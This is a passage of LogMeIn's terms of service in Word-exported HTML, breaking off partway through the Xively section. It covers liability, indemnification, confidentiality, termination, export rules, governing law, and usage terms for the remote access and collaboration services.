(WHETHER IN CONTRACT, TORT OR OTHERWISE) EXCEED THE AMOUNT YOU PAID TO LMI, IF
ANY, FOR THE SERVICE DURING THE 12 MONTHS IMMEDIATELY BEFORE THE CLAIM AROSE.
IN THE EVENT THAT APPLICABLE LAW LIMITS THE EXCLUSION OF IMPLIED WARRANTIES OR
THE ABOVE LIMITATIONS OF LIABILITY, THE MAXIMUM AMOUNT OF EXCLUSIONS ALLOWED
UNDER APPLICABLE LAW SHALL BE APPLIED.</span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;line-height:normal'><span
lang=EN-US style='font-size:8.0pt;font-family:"Arial","sans-serif"'>4.2.3. ALL
DISCLAIMERS, LIMITATIONS OF WARRANTIES AND DAMAGES, AND CONFIDENTIAL
COMMITMENTS SET FORTH IN THESE TERMS OR OTHERWISE EXISTING AT LAW (1) ARE OF
THE ESSENCE OF THE AGREEMENT OF THE PARTIES, AND (2) SURVIVE ANY TERMINATION,
EXPIRATION OR RESCISSION OF THESE TERMS.</span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in'><b><span
lang=EN-US style='font-size:8.0pt;line-height:115%;font-family:"Arial","sans-serif"'>4.3.</span></b><span
lang=EN-US style='font-size:8.0pt;line-height:115%;font-family:"Arial","sans-serif"'>
<b>Indemnification.</b> You are responsible for maintaining the
confidentiality of Your account and password(s). You are also responsible for
all activities that occur under Your account. Therefore, You agree to
indemnify, defend and hold LMI and its affiliates, employees, officers,
directors, owners, information providers, agents, licensees, licensors (the
&quot;Indemnified Parties&quot;) harmless from and against any and all
liabilities, claims, costs, including reasonable attorneys' fees, incurred by
the Indemnified Parties in connection with any third party demand, claims,
action, suit, or loss arising as a result of (a) any breach by You of these
terms of use or claims arising from Your account; (b) any fraud or manipulation
by You; (c) a third-party claim, action or allegation of infringement based on
information, data, files or other content submitted by You; or (d) any claims
of credit card fraud based on any information released by You. You agree to use
best efforts to cooperate with LMI in the defense of any demand, claim, action
or suit. LMI reserves the right to assume the exclusive defense of any matter
subject to indemnification by You at LMI's own expense. </span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in'><b><span
lang=EN-US style='font-size:8.0pt;line-height:115%;font-family:"Arial","sans-serif"'>4.4.</span></b><span
lang=EN-US style='font-size:8.0pt;line-height:115%;font-family:"Arial","sans-serif"'>
<b>Right to Terminate.</b> LMI may, in its sole discretion, immediately
terminate Your subscription, license and right to use the Service if (i) You
fail to make timely payments of subscription fees as required for access to
Your account or You declare bankruptcy, are involved in any bankruptcy
proceedings or are otherwise insolvent; (ii) You breach these Terms; (iii) LMI
is unable to verify or authenticate any information You provide to LMI; or (iv)
LMI decides, in its sole discretion, to discontinue offering the Service to its
users. LMI shall not be liable to You or any third party for termination of the
Service or Your use of the Service. Upon expiration or termination for any
reason, You shall no longer be authorized to use the Service. When Your access
to the Service is terminated and/or Your subscription is canceled, You will no longer
have access to data and other material that You may have stored in connection
with the Service and that material may be deleted by LMI. All disclaimers,
limitations of warranties and damages, and confidential commitments set forth
in these Terms or otherwise existing at law shall survive any termination,
expiration or rescission of these Terms.</span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in'><b><span
lang=EN-US style='font-size:8.0pt;line-height:115%;font-family:"Arial","sans-serif"'>4.5.</span></b><span
lang=EN-US style='font-size:8.0pt;line-height:115%;font-family:"Arial","sans-serif"'>
<b>Title.</b> Title, ownership rights and intellectual property rights in the
Service shall remain with LMI or its suppliers, as applicable. The Service is
protected by copyright and other intellectual property laws and by
international treaties. Title and related rights in the content accessed
through the Service is the property of the applicable content owner and is
protected by applicable law. The licenses granted under these Terms give You no
rights to such content. &quot;LogMeIn,&quot; associated logos, and other names,
logos, icons and marks identifying LMI's Services are trademarks or service
marks of LMI (collectively the &quot;Trademarks&quot;) and may not be used
without the prior written permission of LMI. All other product names mentioned
are used for identification purposes only and may be trademarks or service
marks of their respective holders. Nothing should be construed as granting, by
implication, estoppel, or otherwise, any license or right to use any Trademark
without the written permission of LMI or such third party that may own the
Trademarks. Your use of the Trademarks except as provided in these Terms is
strictly prohibited.</span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in'><b><span
lang=EN-US style='font-size:8.0pt;line-height:115%;font-family:"Arial","sans-serif"'>4.6.</span></b><span
lang=EN-US style='font-size:8.0pt;line-height:115%;font-family:"Arial","sans-serif"'> <b>Feedback.</b>
LMI shall have a royalty-free, worldwide, perpetual license to use or
incorporate into the Services any suggestions, ideas, enhancement requests,
recommendations or other information provided by You relating to the operation
of the Service (Feedback). </span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;
line-height:normal'><b><span lang=EN-US style='font-size:8.0pt;font-family:
"Arial","sans-serif"'>4.7.</span></b><span lang=EN-US style='font-size:8.0pt;
font-family:"Arial","sans-serif"'> <b>Confidentiality. </b>You shall maintain
the confidentiality of information that has been, and will continue to be,
provided to You by LMI in connection with Your use of the Service. You
specifically agree to the following confidentiality terms (the
&quot;Confidentiality Terms&quot;):</span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;line-height:normal'><span
lang=EN-US style='font-size:8.0pt;font-family:"Arial","sans-serif"'>4.7.1. <u>Obligations</u>.
You shall (a) maintain in confidence all such information, including but not
limited to the Service and its related software, (b) not disclose any such
information to anyone except Your employees, agents, and consultants on a
need-to-know basis (and who have been informed of and acknowledge their
obligation to be bound by these Confidentiality Terms), and (c) not use LMI's
confidential information for any purpose other than that for which it is
disclosed. All confidential information shall remain the sole property of LMI.
You shall have no right, title, or interest in or to the confidential
information. </span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;line-height:normal'><span
lang=EN-US style='font-size:8.0pt;font-family:"Arial","sans-serif"'>4.7.2. <u>Confidential
Information</u>. Information considered confidential by LMI includes, without
limitation, information of LMI relating to (a) matters of a technical nature
such as trade secret processes or devices, know-how, data, formulas, inventions
(whether or not patentable or copyrighted), specifications and characteristics
of products or services planned or being developed, and research subjects,
methods and results, (b) matters of a business nature such as information about
costs, profits, pricing, policies, markets, sales, suppliers, customers,
product plans, and business concepts, plans or strategies, (c) matters of a
human resources nature such as employment policies and practices, personnel,
compensation and employee benefits, (d) other information of a similar nature
not generally disclosed by LMI to the public or other information You should
reasonably believe to be confidential given the circumstances, (e) information
concerning Your use of the Service, and (f) the Service itself and its
associated software. </span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;line-height:normal'><span
lang=EN-US style='font-size:8.0pt;font-family:"Arial","sans-serif"'>4.7.3. <u>Exclusions</u>.
The obligations imposed by these Confidentiality Terms shall not apply to any
information that (a) is proven by You to have been rightfully received from a
third party without accompanying use or disclosure restrictions; (b) is or
becomes generally publicly available through no wrongful act of You or any
other person or entity with a confidentiality obligation; (c) is already known
to You prior to the date of disclosure as evidenced by documentation bearing a
date prior to the date of disclosure; (d) is approved for release in writing by
an authorized representative of LMI; or (e) is required to be disclosed pursuant
to a valid court order, duly authorized subpoena, or governmental authority
(provided that You shall immediately give LMI written notice and an opportunity
to contest such required disclosure). </span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;line-height:normal'><span
lang=EN-US style='font-size:8.0pt;font-family:"Arial","sans-serif"'>4.7.4. <u>Remedies</u>.
The remedy at law for any breach of any of the covenants and agreements set
forth in these Confidentiality Terms may be inadequate, so in the event of any
such breach or threatened breach, LMI shall, in addition to all other remedies
which may be available to it at law, be entitled to equitable relief in the
form of preliminary and permanent injunctions, without the necessity of proving
damages. You further agree that these Confidentiality Terms shall in no way
restrict or limit any other remedies LMI may have available at law and LMI may
be entitled to recover the costs, including reasonable attorney's fees, to
enforce its rights under these Confidentiality Terms. </span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;line-height:normal'><span
lang=EN-US style='font-size:8.0pt;font-family:"Arial","sans-serif"'>4.7.5. <u>Return
of Confidential Information</u>. Upon the written request of LMI, You shall
return, or certify that You have destroyed, all information disclosed under
these Confidentiality Terms and any memoranda, diagrams, or any other documents
containing any information disclosed under these Confidentiality Terms. </span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;line-height:normal'><span
lang=EN-US style='font-size:8.0pt;font-family:"Arial","sans-serif"'>4.7.6. <u>Enforceability</u>.
In the event any one or more of the provisions of these Confidentiality Terms
shall be deemed invalid, illegal or unenforceable in any respect, the validity,
legality and enforceability of the remaining provisions contained herein shall
not in any way be affected or impaired thereby. </span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;line-height:normal'><span
lang=EN-US style='font-size:8.0pt;font-family:"Arial","sans-serif"'>4.7.7. <u>Application</u>.
These Confidentiality Terms shall control in lieu of and notwithstanding any
proprietary or restrictive legends or statements inconsistent with these
Confidentiality Terms that may be associated with any particular information
disclosed hereunder. </span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;line-height:normal'><span
lang=EN-US style='font-size:8.0pt;font-family:"Arial","sans-serif"'>4.7.8. <u>Surviving
Obligations</u>. The confidentiality obligations imposed under these
Confidentiality Terms shall survive any termination, expiration, or rescission
of these Terms or Your subscription term, as well as continue beyond any time
in which You were using the Service.</span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in'><b><span
lang=EN-US style='font-size:8.0pt;line-height:115%;font-family:"Arial","sans-serif"'>4.8.</span></b><span
lang=EN-US style='font-size:8.0pt;line-height:115%;font-family:"Arial","sans-serif"'>
<b>Disclaimer of High Risk Activities.</b> The Services are not
fault-tolerant and are not designed, manufactured or intended for use or resale
as or with on-line control equipment in hazardous environments requiring
fail-safe performance, including, but not limited to, equipment used to operate
nuclear facilities, aircraft navigation or aircraft communication systems or
air traffic control, direct life support machines or weapon systems, in which
the failure of the Services could lead directly to death, personal injury or
severe physical or environmental damage (&quot;High Risk Activities&quot;).
Accordingly, LMI and its suppliers specifically disclaim any express or implied
warranty of fitness for such High Risk Activities.</span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in'><b><span
lang=EN-US style='font-size:8.0pt;line-height:115%;font-family:"Arial","sans-serif"'>4.9. Compliance
with Export Laws &amp; Regulations.</span></b><span lang=EN-US
style='font-size:8.0pt;line-height:115%;font-family:"Arial","sans-serif"'> The
Services and their related software are subject to United States Export
Administration Regulations. No software or Service may be downloaded, used or
exported (i) into (or to a national or resident of) Cuba, Iran, North Korea,
Sudan, Syria, or any other country to which the United States has embargoed
goods; or (ii) any person or entity on the United States Treasury Department's
list of Specially Designated Nationals or the U.S. Commerce Department's Denied
Persons List or Entity List, or otherwise designated as prohibited from
receiving U.S. exports. By subscribing to the Service or using any of its
related software, You represent and warrant that You are not- and are not
controlled by - any such person or entity and are not controlled by a national
or resident of any such country.</span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in'><b><span
lang=EN-US style='font-size:8.0pt;line-height:115%;font-family:"Arial","sans-serif"'>4.10.
Force Majeure.</span></b><span lang=EN-US style='font-size:8.0pt;line-height:
115%;font-family:"Arial","sans-serif"'> No party shall be liable for any
performance failure, delay in performance, or lost data under these Terms
(other than for delay in the payment of money due and payable hereunder) to the
extent said failures or delays are proximately caused by: (i) failures of
software or other computer programming (other than the Service purchased
hereunder); (ii) natural weather events; or (iii) any other causes beyond that
party's reasonable control and occurring without its fault or negligence,
including, without limitation, failure of suppliers, subcontractors, and
carriers; provided that in any such event, as a condition to the claim of
non-liability, the party experiencing the difficulty shall give the other
prompt written notice, with full details following the occurrence of the cause
relied upon.</span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in'><span
lang=EN-US style='font-size:8.0pt;line-height:115%;font-family:"Arial","sans-serif"'>&nbsp;</span></p>

<div style='border:none;border-bottom:solid windowtext 1.5pt;padding:0in 0in 1.0pt 0in'>

<p class=MsoNormal style='text-align:justify;border:none;padding:0in'><b><span
lang=EN-US style='font-size:8.0pt;line-height:115%;font-family:"Arial","sans-serif"'>Article
V. Miscellaneous Contract Terms</span></b></p>

</div>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;
line-height:normal'><b><span lang=EN-US style='font-size:8.0pt;font-family:
"Arial","sans-serif"'>5.1.</span></b><span lang=EN-US style='font-size:8.0pt;
font-family:"Arial","sans-serif"'> <b>Entire Agreement.</b> These Terms
represent the complete agreement concerning the subject matter of the license
granted hereunder and Your use of any of the Services. LMI may amend these
Terms at any time by (i) posting a revised Terms document on or accessible
through https://secure.logmein.com and/or (ii) sending information regarding
the Terms amendment to the email address You have provided to LMI. You are
responsible for regularly reviewing the https://secure.logmein.com site to
obtain timely notice of such amendments. You manifest intent to accept these
amended terms if You continue to use the Service after such amended terms have
been posted or sent to You. If You do not agree with any such amended terms You
must notify LMI during the 30-day period after such amended terms have been
posted and at the end of such 30-day period these Terms shall be deemed
terminated unless LMI agrees to waive such amended terms to which You object. </span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;
line-height:normal'><b><span lang=EN-US style='font-size:8.0pt;font-family:
"Arial","sans-serif"'>5.2.</span></b><span lang=EN-US style='font-size:8.0pt;
font-family:"Arial","sans-serif"'> <b>Governing Law &amp; Venue.</b> These
Terms shall be governed by and construed in accordance with the laws of the
Commonwealth of Massachusetts and the laws of the United States, without giving
effect to any principles of conflict of law. You agree that any action at law
or in equity arising out of or relating to these Terms shall be filed only in the
state or federal courts located in Boston, Massachusetts, and You hereby
consent and submit to the personal jurisdiction of such courts for the purposes
of litigating any such action. The parties specifically disclaim applicability
of (i) the United Nations Convention on the Sale of Goods and (ii) any
Incoterms.</span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;
line-height:normal'><b><span lang=EN-US style='font-size:8.0pt;font-family:
"Arial","sans-serif"'>5.3.</span></b><span lang=EN-US style='font-size:8.0pt;
font-family:"Arial","sans-serif"'> <b> Severability. </b>If any of the
provisions of these Terms shall be unlawful, void, or for any reason
unenforceable, then that provision shall be deemed severable from these Terms
and shall not affect the validity and enforceability of any remaining
provisions. </span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;
line-height:normal'><b><span lang=EN-US style='font-size:8.0pt;font-family:
"Arial","sans-serif"'>5.4.</span></b><span lang=EN-US style='font-size:8.0pt;
font-family:"Arial","sans-serif"'> <b>Publicity.</b> LMI shall have the right
to identify You as a user of the Service. You agree that LMI may use any logo
and/or name associated with You on LMI's website and other materials in order
to identify You as a LMI user. </span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;
line-height:normal'><b><span lang=EN-US style='font-size:8.0pt;font-family:
"Arial","sans-serif"'>5.5.</span></b><span lang=EN-US style='font-size:8.0pt;
font-family:"Arial","sans-serif"'>  <b>Notices. </b>Notices by LMI to You may
be sent to the email address You provide on the Registration Form or otherwise
by any means that LMI determines in its sole discretion as likely to come to
Your attention. All notices sent by You to LMI in connection with these Terms
shall be in writing and sent by first class mail or certified mail (receipt
being deemed 72 hours after postage and return receipt requested) or personally
delivered at the address of LMI set forth herein. </span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;
line-height:normal'><b><span lang=EN-US style='font-size:8.0pt;font-family:
"Arial","sans-serif"'>5.6.</span></b><span lang=EN-US style='font-size:8.0pt;
font-family:"Arial","sans-serif"'>  <b>Waiver.</b> You agree not to bring or
participate in any class action lawsuit against LMI or any of its employees or
affiliates. You agree not to bring a claim under these Terms more than two
years after the expiration of these Terms. The failure of LMI to partially or
fully exercise any right shall not prevent the subsequent exercise of such
right. The waiver by LMI of any breach shall not be deemed a waiver of any
subsequent breach of the same or any other term of these Terms. No remedy made
available to LMI by any of the provisions of these Terms is intended to be exclusive
of any other remedy, and each and every remedy shall be cumulative and in
addition to every other remedy available at law or in equity.</span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;
line-height:normal'><b><span lang=EN-US style='font-size:8.0pt;font-family:
"Arial","sans-serif"'>5.7.</span></b><span lang=EN-US style='font-size:8.0pt;
font-family:"Arial","sans-serif"'> <b>No Exclusivity.</b> You acknowledge and
agree that LMI is in the business of providing remote access, remote support,
collaboration and data management solutions and that LMI may provide such
services to third parties, including any competitors of You, which are the same
or similar to the Services provided to You hereunder.</span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;
line-height:normal'><b><span lang=EN-US style='font-size:8.0pt;font-family:
"Arial","sans-serif"'>5.8.</span></b><span lang=EN-US style='font-size:8.0pt;
font-family:"Arial","sans-serif"'>  <b>Assignment.</b> These Terms shall be
binding upon and inure to the benefit of the parties and their permitted
assigns. Neither party may assign this Agreement, assign its rights or delegate
its duties hereunder (whether directly or indirectly, in whole or in part, by
operation of law or otherwise), without the prior written consent of the other
party, which shall not be unreasonably withheld or delayed. Notwithstanding the
foregoing, LMI may assign this Agreement, without Your prior written consent in
connection with a merger, acquisition, change of control or sale of
substantially all of its assets (or any substantially similar transaction).
Additionally, LMI may assign all or any part of the performance of this
Agreement to an Affiliate Entity without Your prior written consent. For the
purposes of this section, the term &quot;Affiliate Entity&quot; shall mean any
entity that now or in the future controls, is controlled by, or is under common
control with LMI.</span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;
line-height:normal'><span lang=EN-US style='font-size:8.0pt;font-family:"Arial","sans-serif"'>&nbsp;</span></p>

<div style='border:none;border-bottom:solid windowtext 1.5pt;padding:0in 0in 1.0pt 0in'>

<p class=MsoNormal style='text-align:justify;border:none;padding:0in'><b><span
lang=EN-US style='font-size:8.0pt;line-height:115%;font-family:"Arial","sans-serif"'>Article
VI. Additional Terms for Remote Access, Management &amp; Support Services</span></b></p>

</div>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;
line-height:normal'><b><span lang=EN-US style='font-size:8.0pt;font-family:
"Arial","sans-serif"'>6.1.</span></b><span lang=EN-US style='font-size:8.0pt;
font-family:"Arial","sans-serif"'> <b>Using Remote Access, Management &amp;
Control Features.</b> Certain features of LMIs remote access, management and support
services, such as LogMeIn<sup></sup> Central<sup>TM</sup>, LogMeIn for Android
or iOS, LogMeIn Pro<sup></sup>, AppGuru, LogMeIn Rescue<sup></sup> and
LogMeIn<sup></sup> Rescue+Mobile<sup>TM</sup>, allow You to remotely access
and/or remotely control a computer, server or other device; remotely manage
certain cloud applications; and/or remotely transfer files from one device to
another. By clicking through these Terms, using any of these Services or
otherwise indicating Your acceptance of these Terms, You hereby agree that You
will <u>not</u> (i) use any of our remote access, management and support
Services to attempt to gain unauthorized access to computer systems or devices
that you do not have permission to access or otherwise interfere with another
User's use and enjoyment of our Services or other cloud applications; (ii) use
the Services to distribute or transmit any software or other computer files
that contain a virus, Trojan horse, worm or other harmful or destructive
component; (iii) use the Services under false pretenses to gain access to a
third partys PII, computer systems or other devices or applications; or (iv)
use the Services for any other illegal or unauthorized purposes. You agree
that You are responsible for the actions and inactions of Your employees and
consultants and will use commercially reasonable efforts to monitor Your
employees and consultants. LMI reserves the right to disable Your account or
take any other action that LMI in its sole discretion deems necessary or
appropriate, including pursuing legal action, in the event that LMI has reason
to believe that You have violated the terms of this Section.</span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;
line-height:normal'><b><span lang=EN-US style='font-size:8.0pt;font-family:
"Arial","sans-serif"'>6.2.</span></b><span lang=EN-US style='font-size:8.0pt;
font-family:"Arial","sans-serif"'> <b>SMS Messaging. </b>If You are licensing
Rescue+Mobile pursuant to these Terms, You are entitled to a combined maximum
of one hundred (100) SMS text messages per seat, per month. If You exceed this
combined maximum amount per seat, per month, You agree to negotiate in good
faith with LMI a commercially reasonable rate per text message over one hundred
(100) per seat, per month.</span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;
line-height:normal'><span lang=EN-US style='font-size:8.0pt;font-family:"Arial","sans-serif"'>&nbsp;</span></p>

<div style='border:none;border-bottom:solid windowtext 1.5pt;padding:0in 0in 1.0pt 0in'>

<p class=MsoNormal style='text-align:justify;border:none;padding:0in'><b><span
lang=EN-US style='font-size:8.0pt;line-height:115%;font-family:"Arial","sans-serif"'>Article
VII. Additional Terms for Collaboration Services</span></b></p>

</div>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;
line-height:normal'><b><span lang=EN-US style='font-size:8.0pt;font-family:
"Arial","sans-serif";color:#444444'>7.1.</span></b><span lang=EN-US
style='font-size:8.0pt;font-family:"Arial","sans-serif";color:#444444'> </span><b><span
lang=EN-US style='font-size:8.0pt;font-family:"Arial","sans-serif"'>Using LMIs
Collaboration Services.</span></b><span lang=EN-US style='font-size:8.0pt;
font-family:"Arial","sans-serif"'> LMIs Collaboration Services, Cubby<sup>TM</sup>
and join.me<sup></sup>, allow You to host online meetings, share Your screen
and files with other users and sync and store Your files in the cloud and/or
across multiple devices so that they can easily be shared with others. By
clicking through these Terms, using any of these Collaboration Services or
otherwise indicating Your acceptance of these Terms, You hereby agree that You
will <u>not</u> (i) use the Services to share, store or transmit any unlawful,
harassing, libelous, defamatory, racist, indecent, abusive, violent, threatening,
intimidating, harmful, vulgar, obscene, offensive or otherwise objectionable
material of any kind or nature; or (ii) </span><span lang=EN style='font-size:
8.0pt;font-family:"Arial","sans-serif"'>use the Services to share copyrighted
material that You do not own or have permission to share or distribute</span><span
lang=EN-US style='font-size:8.0pt;font-family:"Arial","sans-serif"'>.</span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;
line-height:normal'><b><span lang=EN-US style='font-size:8.0pt;font-family:
"Arial","sans-serif";color:#444444'>7.2.</span></b><span lang=EN-US
style='font-size:8.0pt;font-family:"Arial","sans-serif";color:#444444'> </span><b><span
lang=EN-US style='font-size:8.0pt;font-family:"Arial","sans-serif"'>Collaboration
Disclaimer. </span></b><span lang=EN-US style='font-size:8.0pt;font-family:
"Arial","sans-serif"'>LMI is not responsible for the images/sounds/etc. you may
view or experience while viewing another partys screen, folders, files, etc. </span><span
lang=EN style='font-size:8.0pt;font-family:"Arial","sans-serif"'>LMI has no
obligation to monitor any information stored on or shared through the Services
and is not responsible for the accuracy, appropriateness or legality of any
files, posts, links or other information You may be able to share or access
while using the Services.</span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;
line-height:normal'><b><span lang=EN style='font-size:8.0pt;font-family:"Arial","sans-serif";
color:#333333'>7.3.</span></b><span lang=EN style='font-size:8.0pt;font-family:
"Arial","sans-serif";color:#333333'> </span><b><span lang=EN-US
style='font-size:8.0pt;font-family:"Arial","sans-serif"'>Use of the join.me
Conference Line. </span></b><span lang=EN-US style='font-size:8.0pt;
font-family:"Arial","sans-serif"'>The join.me conference line is licensed by
LMI from a third-party telecommunications provider that grants You access to
the conference line directly. For the avoidance of doubt, LMI is not itself a
telecommunications provider and does not itself provide any
telecommunications-related services. If You are licensing join.me pursuant to
these Terms, the join.me conference line is free to use, but it is not a
toll-free number. While LMI does not charge You for the use of the conference
line, applicable roaming, data and other operator or carrier charges/fees may
apply. You understand and agree that You are solely responsible for paying for
any such charges/fees. International dial-in numbers are only active on calls
hosted by a pro subscriber.</span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;
line-height:normal'><b><span lang=EN style='font-size:8.0pt;font-family:"Arial","sans-serif"'>7.</span></b><b><span
lang=EN-US style='font-size:8.0pt;font-family:"Arial","sans-serif"'>4.
Recording Disclosure.</span></b><span lang=EN-US style='font-size:8.0pt;
font-family:"Arial","sans-serif"'> Customer understands that use of join.mes
conference recording feature may subject Customer to laws or regulations
regarding the recording of telephone calls and other electronic communications,
and that it is thus Customers responsibility to properly notify all
participants in a recorded join.me meeting that the meeting is being recorded.
LMI will not be held liable for Customers failure to do so. Although features
may exist in the Service to alert participants that a meeting is being recorded,
such notice may not be relied upon as definitive disclosure for Customers
compliance with applicable laws. </span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;
line-height:normal'><b><span lang=EN style='font-size:8.0pt;font-family:"Arial","sans-serif";
color:#333333'>7.5.</span></b><span lang=EN style='font-size:8.0pt;font-family:
"Arial","sans-serif";color:#333333'> </span><b><span lang=EN style='font-size:
8.0pt;font-family:"Arial","sans-serif"'>Sharing Your Cubby. </span></b><span
lang=EN style='font-size:8.0pt;font-family:"Arial","sans-serif"'>The Cubby
Service permits You to share Your Cubby with others or make Your Cubby public.
You shall retain full ownership of the files that You store within Your Cubby
and these Terms do not grant LMI any title, ownership or intellectual property
rights to any of Your files, except for the limited rights that are required to
provide the Service to You. However, You should carefully consider what You
choose to share with other users as LMI has no responsibility for any files
that You share with others. You agree not to use Cubby to share any files that
You do not have the legal right to share with others. You understand and agree
that purchasing or otherwise legally obtaining documents, videos, music,
software or other forms of media does not necessarily grant You the right to
distribute or publicly share those files with third parties through the
Service. By sharing Your Cubby with other users, You are representing that You
either (i) own all copyrights in the files You have placed in Your Cubby or
(ii) have obtained permission from the rightful copyright holder to share such
files.</span></p>

<p class=MsoNormal style='margin-top:0in;margin-right:0in;margin-bottom:0in;
margin-left:.25in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;
line-height:normal'><span lang=EN style='font-size:8.0pt;font-family:"Arial","sans-serif"'>&nbsp;</span></p>

<div style='border:none;border-bottom:solid windowtext 1.5pt;padding:0in 0in 1.0pt 0in'>

<p class=MsoNormal style='text-align:justify;border:none;padding:0in'><b><span
lang=EN-US style='font-size:8.0pt;line-height:115%;font-family:"Arial","sans-serif"'>Article
VIII. Additional Terms for Xively</span></b></p>

</div>

<h3 style='margin-top:0in;margin-right:0in;margin-bottom:0in;margin-left:.25in;
margin-bottom:.0001pt;text-align:justify;text-indent:-.25in'><span lang=EN-US
style='font-size:8.0pt;font-family:"Arial","sans-serif";color:windowtext'>8.1  </span><span
lang=EN-US style='font-size:8.0pt;font-family:"Arial","sans-serif";color:windowtext'>Using
LMIs Xively Internet of Things Service. </span><span lang=EN-US
style='font-size:8.0pt;font-family:"Arial","sans-serif";color:windowtext;
font-weight:normal'>Xively </span><span lang=EN-US style='font-size:8.0pt;
font-family:"Arial","sans-serif";color:windowtext;font-weight:normal'>provides
You with development tools, cloud infrastructure and resources that enable You
to create, store, read, share, display and discover real-time and historical
data (&quot;</span><strong><span lang=EN-US style='font-size:8.0pt;font-family:
"Arial","sans-serif";color:windowtext;font-weight:normal'>Xively Data</span></strong><span
lang=EN-US style='font-size:8.0pt;font-family:"Arial","sans-serif";color:windowtext;
font-weight:normal'>&quot;) sourced from Internet-connected objects, devices,
applications or services (each a Data Source) that You and/or other users
have connected to the Service, as well as interact with and manage such Data
Sources. </span></h3>

<p class=MsoNormalCxSpFirst style='margin-top:0in;margin-right:0in;margin-bottom:
0in;margin-left:.25in;margin-bottom:.0001pt;text-align:justify;text-indent:
